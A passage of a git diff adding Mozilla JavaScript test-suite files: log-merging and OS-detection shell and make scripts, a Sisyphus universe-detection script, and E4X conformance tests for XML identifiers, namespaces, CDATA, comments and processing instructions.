+# in which case the provisions of the GPL or the LGPL are applicable instead
+# of those above. If you wish to allow use of your version of this file only
+# under the terms of either the GPL or the LGPL, and not to allow others to
+# use your version of this file under the terms of the MPL, indicate your
+# decision by deleting the provisions above and replace them with the notice
+# and other provisions required by the GPL or the LGPL. If you do not delete
+# the provisions above, a recipient may use your version of this file under
+# the terms of any one of the MPL, the GPL or the LGPL.
+#
+# ***** END LICENSE BLOCK *****
+
+# usage: changes.sh [prefix]
+#
+# combines the {prefix}*possible-fixes.log files into {prefix}possible-fixes.log
+# and {prefix}*possible-regressions.log files into
+# possible-regressions.log.
+#
+# This script is useful in cases where log files from different machines, branches
+# and builds are being investigated.
+
+export LC_ALL=C
+
+if cat /dev/null | sed -r 'q' > /dev/null 2>&1; then
+ SED="sed -r"
+elif cat /dev/null | sed -E 'q' > /dev/null 2>&1; then
+ SED="sed -E"
+else
+ echo "Neither sed -r or sed -E is supported"
+ exit 2
+fi
+
+workfile=`mktemp work.XXXXXXXX`
+if [ $? -ne 0 ]; then
+ echo "Unable to create working temp file"
+ exit 2
+fi
+
+for f in ${1}*results-possible-fixes.log*; do
+ case $f in
+ *.log)
+ CAT=cat
+ ;;
+ *.log.bz2)
+ CAT=bzcat
+ ;;
+ *.log.gz)
+ CAT=zcat
+ ;;
+ *.log.zip)
+ CAT="unzip -c"
+ ;;
+ *)
+ echo "unknown log type: $f"
+ exit 2
+ ;;
+ esac
+
+ $CAT $f | $SED "s|$|:$f|" >> $workfile
+
+done
+
+sort -u $workfile > ${1}possible-fixes.log
+
+rm $workfile
+
+
+for f in ${1}*results-possible-regressions.log*; do
+ case $f in
+ *.log)
+ CAT=cat
+ ;;
+ *.log.bz2)
+ CAT=bzcat
+ ;;
+ *.log.gz)
+ CAT=zcat
+ ;;
+ *.log.zip)
+ CAT="unzip -c"
+ ;;
+ *)
+ echo "unknown log type: $f"
+ exit 2
+ ;;
+ esac
+ $CAT $f >> $workfile
+done
+
+sort -u $workfile > ${1}possible-regressions.log
+
+rm $workfile
+
+
+
diff --git a/config.mk b/config.mk
new file mode 100755
index 0000000..1b6ffd9
--- /dev/null
+++ b/config.mk
@@ -0,0 +1,113 @@
+# -*- Mode: makefile -*-
+#
+# ***** BEGIN LICENSE BLOCK *****
+# Version: MPL 1.1/GPL 2.0/LGPL 2.1
+#
+# The contents of this file are subject to the Mozilla Public License Version
+# 1.1 (the "License"); you may not use this file except in compliance with
+# the License. You may obtain a copy of the License at
+# http://www.mozilla.org/MPL/
+#
+# Software distributed under the License is distributed on an "AS IS" basis,
+# WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+# for the specific language governing rights and limitations under the
+# License.
+#
+# The Original Code is Mozilla Communicator client code, released
+# March 31, 1998.
+#
+# The Initial Developer of the Original Code is
+# Netscape Communications Corporation.
+# Portions created by the Initial Developer are Copyright (C) 1998-1999
+# the Initial Developer. All Rights Reserved.
+#
+# Contributor(s):
+#
+# Alternatively, the contents of this file may be used under the terms of
+# either of the GNU General Public License Version 2 or later (the "GPL"),
+# or the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+# in which case the provisions of the GPL or the LGPL are applicable instead
+# of those above. If you wish to allow use of your version of this file only
+# under the terms of either the GPL or the LGPL, and not to allow others to
+# use your version of this file under the terms of the MPL, indicate your
+# decision by deleting the provisions above and replace them with the notice
+# and other provisions required by the GPL or the LGPL. If you do not delete
+# the provisions above, a recipient may use your version of this file under
+# the terms of any one of the MPL, the GPL or the LGPL.
+#
+# ***** END LICENSE BLOCK *****
+
+# This file was adapted from mozilla/js/src/config.mk
+
+# Set os+release dependent make variables
+OS_ARCH := $(subst /,_,$(shell uname -s | sed /\ /s//_/))
+
+# Attempt to differentiate between SunOS 5.4 and x86 5.4
+OS_CPUARCH := $(shell uname -m)
+ifeq ($(OS_CPUARCH),i86pc)
+OS_RELEASE := $(shell uname -r)_$(OS_CPUARCH)
+else
+ifeq ($(OS_ARCH),AIX)
+OS_RELEASE := $(shell uname -v).$(shell uname -r)
+else
+OS_RELEASE := $(shell uname -r)
+endif
+endif
+ifeq ($(OS_ARCH),IRIX64)
+OS_ARCH := IRIX
+endif
+
+# Handle output from win32 unames other than Netscape's version
+ifeq (,$(filter-out Windows_95 Windows_98 CYGWIN_95-4.0 CYGWIN_98-4.10, $(OS_ARCH)))
+ OS_ARCH := WIN95
+endif
+ifeq ($(OS_ARCH),WIN95)
+ OS_ARCH := WINNT
+ OS_RELEASE := 4.0
+endif
+ifeq ($(OS_ARCH), Windows_NT)
+ OS_ARCH := WINNT
+ OS_MINOR_RELEASE := $(shell uname -v)
+ ifeq ($(OS_MINOR_RELEASE),00)
+ OS_MINOR_RELEASE = 0
+ endif
+ OS_RELEASE := $(OS_RELEASE).$(OS_MINOR_RELEASE)
+endif
+ifeq (CYGWIN_NT,$(findstring CYGWIN_NT,$(OS_ARCH)))
+ OS_RELEASE := $(patsubst CYGWIN_NT-%,%,$(OS_ARCH))
+ OS_ARCH := WINNT
+endif
+ifeq ($(OS_ARCH), CYGWIN32_NT)
+ OS_ARCH := WINNT
+endif
+
+# Virtually all Linux versions are identical.
+# Any distinctions are handled in linux.h
+ifeq ($(OS_ARCH),Linux)
+OS_CONFIG := Linux_All
+else
+ifeq ($(OS_ARCH),dgux)
+OS_CONFIG := dgux
+else
+ifeq ($(OS_ARCH),Darwin)
+OS_CONFIG := Darwin
+else
+OS_CONFIG := $(OS_ARCH)$(OS_OBJTYPE)$(OS_RELEASE)
+endif
+endif
+endif
+
+ifeq "$(TEST_OPTDEBUG)" "opt"
+OBJDIR_TAG = _OPT
+else
+OBJDIR_TAG = _DBG
+endif
+
+
+# Name of the binary code directories
+ifdef BUILD_IDG
+JS_OBJDIR = $(OS_CONFIG)$(OBJDIR_TAG).OBJD
+else
+JS_OBJDIR = $(OS_CONFIG)$(OBJDIR_TAG).OBJ
+endif
+
diff --git a/config.sh b/config.sh
new file mode 100755
index 0000000..1f76a3e
--- /dev/null
+++ b/config.sh
@@ -0,0 +1,129 @@
+# -*- Mode: Shell-script; tab-width: 4; indent-tabs-mode: nil; -*-
+#
+# ***** BEGIN LICENSE BLOCK *****
+# Version: MPL 1.1/GPL 2.0/LGPL 2.1
+#
+# The contents of this file are subject to the Mozilla Public License Version
+# 1.1 (the "License"); you may not use this file except in compliance with
+# the License. You may obtain a copy of the License at
+# http://www.mozilla.org/MPL/
+#
+# Software distributed under the License is distributed on an "AS IS" basis,
+# WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+# for the specific language governing rights and limitations under the
+# License.
+#
+# The Original Code is Mozilla Communicator client code, released
+# March 31, 1998.
+#
+# The Initial Developer of the Original Code is
+# Netscape Communications Corporation.
+# Portions created by the Initial Developer are Copyright (C) 1998-1999
+# the Initial Developer. All Rights Reserved.
+#
+# Contributor(s):
+#
+# Alternatively, the contents of this file may be used under the terms of
+# either of the GNU General Public License Version 2 or later (the "GPL"),
+# or the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+# in which case the provisions of the GPL or the LGPL are applicable instead
+# of those above. If you wish to allow use of your version of this file only
+# under the terms of either the GPL or the LGPL, and not to allow others to
+# use your version of this file under the terms of the MPL, indicate your
+# decision by deleting the provisions above and replace them with the notice
+# and other provisions required by the GPL or the LGPL. If you do not delete
+# the provisions above, a recipient may use your version of this file under
+# the terms of any one of the MPL, the GPL or the LGPL.
+#
+# ***** END LICENSE BLOCK *****
+
+# This file was adapted from mozilla/js/src/config.mk
+
+# Set os+release dependent make variables
+OS_ARCH="`uname -s | sed /\ /s//_/`"
+
+# Attempt to differentiate between SunOS 5.4 and x86 5.4
+OS_CPUARCH=`uname -m`
+
+if [[ "$OS_CPUARCH" == "i86pc" ]]; then
+ OS_RELEASE="`uname -r`_$OS_CPUARCH"
+elif [[ "$OS_ARCH" == "AIX" ]]; then
+ OS_RELEASE="`uname -v`.`uname -r`"
+else
+ OS_RELEASE="`uname -r`"
+fi
+
+if [[ "$OS_ARCH" == "IRIX64" ]]; then
+ OS_ARCH="IRIX"
+fi
+
+# Handle output from win32 unames other than Netscape's version
+if echo "Windows_95 Windows_98 CYGWIN_95-4.0 CYGWIN_98-4.10" | grep -iq "$OS_ARCH"; then
+ OS_ARCH="WIN95"
+fi
+
+if [[ "$OS_ARCH" == "WIN95" ]]; then
+ OS_ARCH="WINNT"
+ OS_RELEASE="4.0"
+fi
+
+if [[ "$OS_ARCH" == "Windows_NT" ]]; then
+ OS_ARCH="WINNT"
+ OS_MINOR_RELEASE="`uname -v`"
+
+ if [[ "$OS_MINOR_RELEASE" == "00" ]]; then
+ OS_MINOR_RELEASE=0
+ fi
+
+ OS_RELEASE="$OS_RELEASE.$OS_MINOR_RELEASE"
+fi
+
+if echo "$OS_ARCH" | grep -iq CYGWIN_NT; then
+ OS_RELEASE="`echo $OS_ARCH|sed 's/CYGWIN_NT-//'`"
+ OS_ARCH="WINNT"
+fi
+
+if [[ "$OS_ARCH" == "CYGWIN32_NT" ]]; then
+ OS_ARCH="WINNT"
+fi
+
+# Virtually all Linux versions are identical.
+# Any distinctions are handled in linux.h
+
+case "$OS_ARCH" in
+ "Linux")
+ OS_CONFIG="Linux_All"
+ ;;
+ "dgux")
+ OS_CONFIG="dgux"
+ ;;
+ "Darwin")
+ OS_CONFIG="Darwin"
+ ;;
+ *)
+ OS_CONFIG="$OS_ARCH$OS_OBJTYPE$OS_RELEASE"
+ ;;
+esac
+
+case "$buildtype" in
+ "opt")
+ OBJDIR_TAG="_OPT"
+ ;;
+ "debug")
+ OBJDIR_TAG="_DBG"
+ ;;
+ *)
+ error "Unknown build type $buildtype"
+esac
+
+
+
+# Name of the binary code directories
+if [[ -z "$OBJDIR_TAG" ]]; then
+ true
+elif [[ -n "$BUILD_IDG" ]]; then
+ JS_OBJDIR="$OS_CONFIG$OBJDIR_TAG.OBJD"
+else
+ JS_OBJDIR="$OS_CONFIG$OBJDIR_TAG.OBJ"
+fi
+
diff --git a/detect-universe.sh b/detect-universe.sh
new file mode 100755
index 0000000..878b8c4
--- /dev/null
+++ b/detect-universe.sh
@@ -0,0 +1,126 @@
+#!/bin/bash -e
+# -*- Mode: Shell-script; tab-width: 4; indent-tabs-mode: nil; -*-
+
+# ***** BEGIN LICENSE BLOCK *****
+# Version: MPL 1.1/GPL 2.0/LGPL 2.1
+#
+# The contents of this file are subject to the Mozilla Public License Version
+# 1.1 (the "License"); you may not use this file except in compliance with
+# the License. You may obtain a copy of the License at
+# http://www.mozilla.org/MPL/
+#
+# Software distributed under the License is distributed on an "AS IS" basis,
+# WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+# for the specific language governing rights and limitations under the
+# License.
+#
+# The Original Code is Mozilla JavaScript Testing Utilities
+#
+# The Initial Developer of the Original Code is
+# Mozilla Corporation.
+# Portions created by the Initial Developer are Copyright (C) 2008
+# the Initial Developer. All Rights Reserved.
+#
+# Contributor(s): Bob Clary <bclary@bclary.com>
+#
+# Alternatively, the contents of this file may be used under the terms of
+# either the GNU General Public License Version 2 or later (the "GPL"), or
+# the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+# in which case the provisions of the GPL or the LGPL are applicable instead
+# of those above. If you wish to allow use of your version of this file only
+# under the terms of either the GPL or the LGPL, and not to allow others to
+# use your version of this file under the terms of the MPL, indicate your
+# decision by deleting the provisions above and replace them with the notice
+# and other provisions required by the GPL or the LGPL. If you do not delete
+# the provisions above, a recipient may use your version of this file under
+# the terms of any one of the MPL, the GPL or the LGPL.
+#
+# ***** END LICENSE BLOCK *****
+
+if [[ -z "$TEST_DIR" ]]; then
+ cat <<EOF
+`basename $0`: error
+
+TEST_DIR, the location of the Sisyphus framework,
+is required to be set prior to calling this script.
+EOF
+ exit 2
+fi
+
+if [[ ! -e $TEST_DIR/bin/library.sh ]]; then
+ echo "TEST_DIR=$TEST_DIR"
+ echo ""
+ echo "This script requires the Sisyphus testing framework. Please "
+ echo "cvs check out the Sisyphys framework from mozilla/testing/sisyphus"
+ echo "and set the environment variable TEST_DIR to the directory where it"
+ echo "located."
+ echo ""
+
+ exit 2
+fi
+
+#
+# options processing
+#
+usage()
+{
+ cat <<EOF
+usage: detect-universe.sh -p products -b branches -R repositories -T buildtypes
+
+Outputs to stdout the universe data for this machine.
+
+variable description
+=============== ============================================================
+-p products required. one or more of firefox, thunderbird, fennec, js
+-b branches required. one or more of supported branches. set library.sh
+-R repositories required. one or more of CVS, mozilla-central, ...
+-T buildtype required. one or more of opt debug
+
+if an argument contains more than one value, it must be quoted.
+EOF
+ exit 2
+}
+
+while getopts "p:b:R:T:" optname
+do
+ case $optname in
+ p)
+ products=$OPTARG;;
+ b)
+ branches=$OPTARG;;
+ R)
+ repos=$OPTARG;;
+ T)
+ buildtypes=$OPTARG;;
+ esac
+done
+
+if [[ -z "$products" || -z "$branches" || -z "$buildtypes" ]]; then
+ usage
+fi
+
+source $TEST_DIR/bin/library.sh
+
+(for product in $products; do
+ for branch in $branches; do
+ for repo in $repos; do
+
+ if [[ ("$branch" != "1.8.0" && "$branch" != "1.8.1" && "$branch" != "1.9.0") && $repo == "CVS" ]]; then
+ continue;
+ fi
+
+ if [[ ("$branch" == "1.8.0" || "$branch" == "1.8.1" || "$branch" == "1.9.0") && $repo != "CVS" ]]; then
+ continue
+ fi
+
+ for buildtype in $buildtypes; do
+ if [[ $product == "js" ]]; then
+ testtype=shell
+ else
+ testtype=browser
+ fi
+ echo "TEST_OS=$OSID, TEST_KERNEL=$TEST_KERNEL, TEST_PROCESSORTYPE=$TEST_PROCESSORTYPE, TEST_MEMORY=$TEST_MEMORY, TEST_TIMEZONE=$TEST_TIMEZONE, TEST_BRANCH=$branch, TEST_REPO=$repo, TEST_BUILDTYPE=$buildtype, TEST_TYPE=$testtype"
+ done
+ done
+ done
+done) | sort -u
diff --git a/dikdik-n.tests b/dikdik-n.tests
new file mode 100644
index 0000000..a47b2eb
--- /dev/null
+++ b/dikdik-n.tests
@@ -0,0 +1,3 @@
+js2_0/Class/shell.js
+ # uses implements keyword. This is not implemented yet.
+js2_0/Class/class-007.js
diff --git a/e4x/Expressions/11.1.1.js b/e4x/Expressions/11.1.1.js
new file mode 100644
index 0000000..785da72
--- /dev/null
+++ b/e4x/Expressions/11.1.1.js
@@ -0,0 +1,85 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Ethan Hugg
+ * Milen Nankov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '11.1.1.js';
+
+START("11.1.1 - Attribute Identifiers");
+
+x =
+<alpha>
+ <bravo attr1="value1" ns:attr1="value3" xmlns:ns="http://someuri">
+ <charlie attr1="value2" ns:attr1="value4"/>
+ </bravo>
+</alpha>
+
+TEST_XML(1, "value1", x.bravo.@attr1);
+TEST_XML(2, "value2", x.bravo.charlie.@attr1);
+
+correct = new XMLList();
+correct += new XML("value1");
+correct += new XML("value2");
+TEST(3, correct, x..@attr1);
+
+n = new Namespace("http://someuri");
+TEST_XML(4, "value3", x.bravo.@n::attr1);
+TEST_XML(5, "value4", x.bravo.charlie.@n::attr1);
+
+correct = new XMLList();
+correct += new XML("value3");
+correct += new XML("value4");
+TEST(6, correct, x..@n::attr1);
+
+q = new QName(n, "attr1");
+TEST(7, correct, x..@[q]);
+
+correct = new XMLList();
+correct += new XML("value1");
+correct += new XML("value3");
+correct += new XML("value2");
+correct += new XML("value4");
+TEST(8, correct, x..@*::attr1);
+
+TEST_XML(9, "value1", x.bravo.@["attr1"]);
+TEST_XML(10, "value3", x.bravo.@n::["attr1"]);
+TEST_XML(11, "value3", x.bravo.@[q]);
+
+END();
diff --git a/e4x/Expressions/11.1.2.js b/e4x/Expressions/11.1.2.js
new file mode 100644
index 0000000..9a91cc1
--- /dev/null
+++ b/e4x/Expressions/11.1.2.js
@@ -0,0 +1,86 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Ethan Hugg
+ * Milen Nankov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '11.1.2.js';
+
+START("11.1.2 - Qualified Identifiers");
+
+x =
+<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
+ soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
+ <soap:Body>
+ <m:getLastTradePrice xmlns:m="http://mycompany.com/stocks">
+ <symbol>DIS</symbol>
+ </m:getLastTradePrice>
+ </soap:Body>
+</soap:Envelope>;
+
+soap = new Namespace("http://schemas.xmlsoap.org/soap/envelope/");
+stock = new Namespace("http://mycompany.com/stocks");
+
+encodingStyle = x.@soap::encodingStyle;
+TEST_XML(1, "http://schemas.xmlsoap.org/soap/encoding/", encodingStyle);
+
+correct =
+<soap:Body xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
+ <m:getLastTradePrice xmlns:m="http://mycompany.com/stocks">
+ <symbol>DIS</symbol>
+ </m:getLastTradePrice>
+</soap:Body>;
+
+body = x.soap::Body;
+TEST_XML(2, correct.toXMLString(), body);
+
+body = x.soap::["Body"];
+TEST_XML(3, correct.toXMLString(), body);
+
+q = new QName(soap, "Body");
+body = x[q];
+TEST_XML(4, correct.toXMLString(), body);
+
+correct =
+<symbol xmlns:m="http://mycompany.com/stocks" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">MYCO</symbol>;
+
+x.soap::Body.stock::getLastTradePrice.symbol = "MYCO";
+TEST_XML(5, correct.toXMLString(), x.soap::Body.stock::getLastTradePrice.symbol);
+
+END();
diff --git a/e4x/Expressions/11.1.3.js b/e4x/Expressions/11.1.3.js
new file mode 100644
index 0000000..a6416eb
--- /dev/null
+++ b/e4x/Expressions/11.1.3.js
@@ -0,0 +1,56 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Ethan Hugg
+ * Milen Nankov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '11.1.3.js';
+
+START("11.1.3 - Wildcard Identifiers");
+
+x =
+<alpha>
+ <bravo>one</bravo>
+ <charlie>two</charlie>
+</alpha>
+
+correct = <><bravo>one</bravo><charlie>two</charlie></>;
+TEST(1, correct, x.*);
+
+END();
diff --git a/e4x/Expressions/11.1.4-01.js b/e4x/Expressions/11.1.4-01.js
new file mode 100755
index 0000000..633b208
--- /dev/null
+++ b/e4x/Expressions/11.1.4-01.js
@@ -0,0 +1,61 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Martin Honnen
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '11.1.4-01.js';
+
+var summary = '11.1.4 - XML Initializer should accept single processing ' +
+ 'instruction';
+var BUGNUMBER = 257679;
+var actual = '';
+var expect = 'processing-instruction';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+XML.ignoreProcessingInstructions = false;
+print("XML.ignoreProcessingInstructions: " + XML.ignoreProcessingInstructions);
+var pi = <?process Kibology="on"?>;
+if (pi) {
+ actual = pi.nodeKind();
+}
+else {
+ actual = 'undefined';
+}
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Expressions/11.1.4-02.js b/e4x/Expressions/11.1.4-02.js
new file mode 100755
index 0000000..0d63a45
--- /dev/null
+++ b/e4x/Expressions/11.1.4-02.js
@@ -0,0 +1,58 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Martin Honnen
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '11.1.4-02.js';
+
+var summary = "11.1.4 - XML Initializer should accept single CDATA Section";
+var BUGNUMBER = 257679;
+var actual = '';
+var expect = 'text';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var cdataText = <![CDATA[Kibology for all.<br>All for Kibology.]]>;
+if (cdataText) {
+ actual = cdataText.nodeKind();
+}
+else {
+ actual = 'undefined';
+}
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Expressions/11.1.4-03.js b/e4x/Expressions/11.1.4-03.js
new file mode 100755
index 0000000..0a8e288
--- /dev/null
+++ b/e4x/Expressions/11.1.4-03.js
@@ -0,0 +1,60 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Martin Honnen
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '11.1.4-03.js';
+
+var summary = '11.1.4 - XML Initializer should accept single comment';
+var BUGNUMBER = 257679;
+var actual = '';
+var expect = 'comment';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+XML.ignoreComments = false;
+print("XML.ignoreComments: " + XML.ignoreComments);
+var comment = <!-- comment -->;
+if (comment) {
+ actual = comment.nodeKind();
+}
+else {
+ actual = 'undefined';
+}
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Expressions/11.1.4-04.js b/e4x/Expressions/11.1.4-04.js
new file mode 100755
index 0000000..5cb1ba7
--- /dev/null
+++ b/e4x/Expressions/11.1.4-04.js
@@ -0,0 +1,56 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
